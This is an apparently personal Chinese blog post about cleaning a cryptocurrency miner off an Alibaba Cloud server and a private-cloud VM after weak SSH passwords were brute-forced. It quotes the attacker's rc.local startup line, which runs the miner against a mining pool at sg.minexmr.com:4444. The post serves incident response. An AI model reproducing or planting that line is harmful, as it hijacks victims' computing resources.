我有一个香港的阿里云服务器,最近几天ssh连接一直不稳定,于是我请了在阿里云的朋友帮忙解决。中间我把root密码设置成了123456。第二天,我再尝试登陆我的服务器时发现,root密码不正确,ssh和阿里云在线的登陆都不行(应该就是这时候被黑客入侵了,事后在阿里云的云盾后台发现了很多的ssh暴力破解攻击)。
于是又找我的朋友帮忙,折腾了一上午,总算找到问题了,root用户密码被修改,shadow文件的权限被修改了,导致在阿里云后台修改root密码都无效。
CPU被跑满,追查元凶
之后我就登陆服务器,发现cpu是跑满的。艰难的输入top命令(因为打命令都要反应半天)。发现一个叫 dhpcd的进程占用了99%的cpu。这是一个陌生的程序,先记下他的pid,814。然后通过进程id查找文件位置。
ls -l /proc/814/exe
返回结果在 /usr/bin/dhpcd,于是进到/usr/bin这个目录,把这个文件先给移动位置(没删除是准备研究研究的)。
mv dhpcd /tmp
之后,在查找启动项
vim /etc/rc.d/rc.local
发现有这么一行,果然发现了痕迹:
/bin/dhpcd -o sg.minexmr.com:4444 -B >/dev/null 2>/dev/null
猜测:命令中的 -o 应该是输出,后边的网址和端口应该是用来接收数据的地方。-B可能是数据格式,然后把执行结果重定向到null。
追查域名信息
再追查域名whosis:minexmr.com,注册商是OVH,SAS,注册人和机构都没有填写。这个命令的输出是sg.minexmr.com,再看解析:sg.minexmr解析到了新加坡的OVH(OVH是法国的一家主机提供商,服务遍及全球)。访问:sg.minexmr.com:4444 ,没有反应,但访问这个域名的80端口却是开着的。输出信息
mining pool?这么明目张胆的在这挖矿,太可恶了。这些程序就像大个的蚂蝗,逮着一个就狠命的吸血。
挖矿程序
到这也基本清楚了,dhpcd是一个挖矿程序,利用黑客入侵别人的计算机,占用计算资源。
但他们有点不明智的是为什么把资源用的这么狠呢?这么容易被暴露,掉机率很高啊!!
果不其然,在我删掉dhpcd程序后,对方应该发现这台主机掉线了,马上又过来破解。
于是,我先把sshd服务停掉,然后修改配置文件,禁用密码登陆,采用密钥对登陆(具体方法可以百度),这下终于清净勒。
==========另一个挖矿程序=========
在另一个虚拟主机上,再次发现挖矿程序。
这是我们单位的私有云,本来要部署一个程序,给开发商开通了外网的ssh服务,结果当天晚上11点多黑客就进来了,不但把本机植入了挖矿程序,还把同域的其他服务器也攻入了。真是太大意了。估计是弱密码造成的。
这是第二天早上,发现服务器CPU满载了,赶紧查看进程,发现两个可以的家伙。而且还多出了一个linux用户。
但是,通过上面的方法,并没有在计划任务等启动项中发现异常,可能藏的比较深。
最后这个服务器只是把这两个进程结束了,并删除了对应文件,删除了用户,取消了外网的ssh端口,重启后也没再发现问题。
杀kniduq进程时,直接kill pid结束不掉,只能这样才行 kill -9 pid.
看了您的文章 我也中招了哈哈 发现cpu占用特别高, 我也是调试的时候密码改成了123456 太暴力 不然我可能还不会发现
这些人无孔不入,而且速度特别快,真要时刻注意安全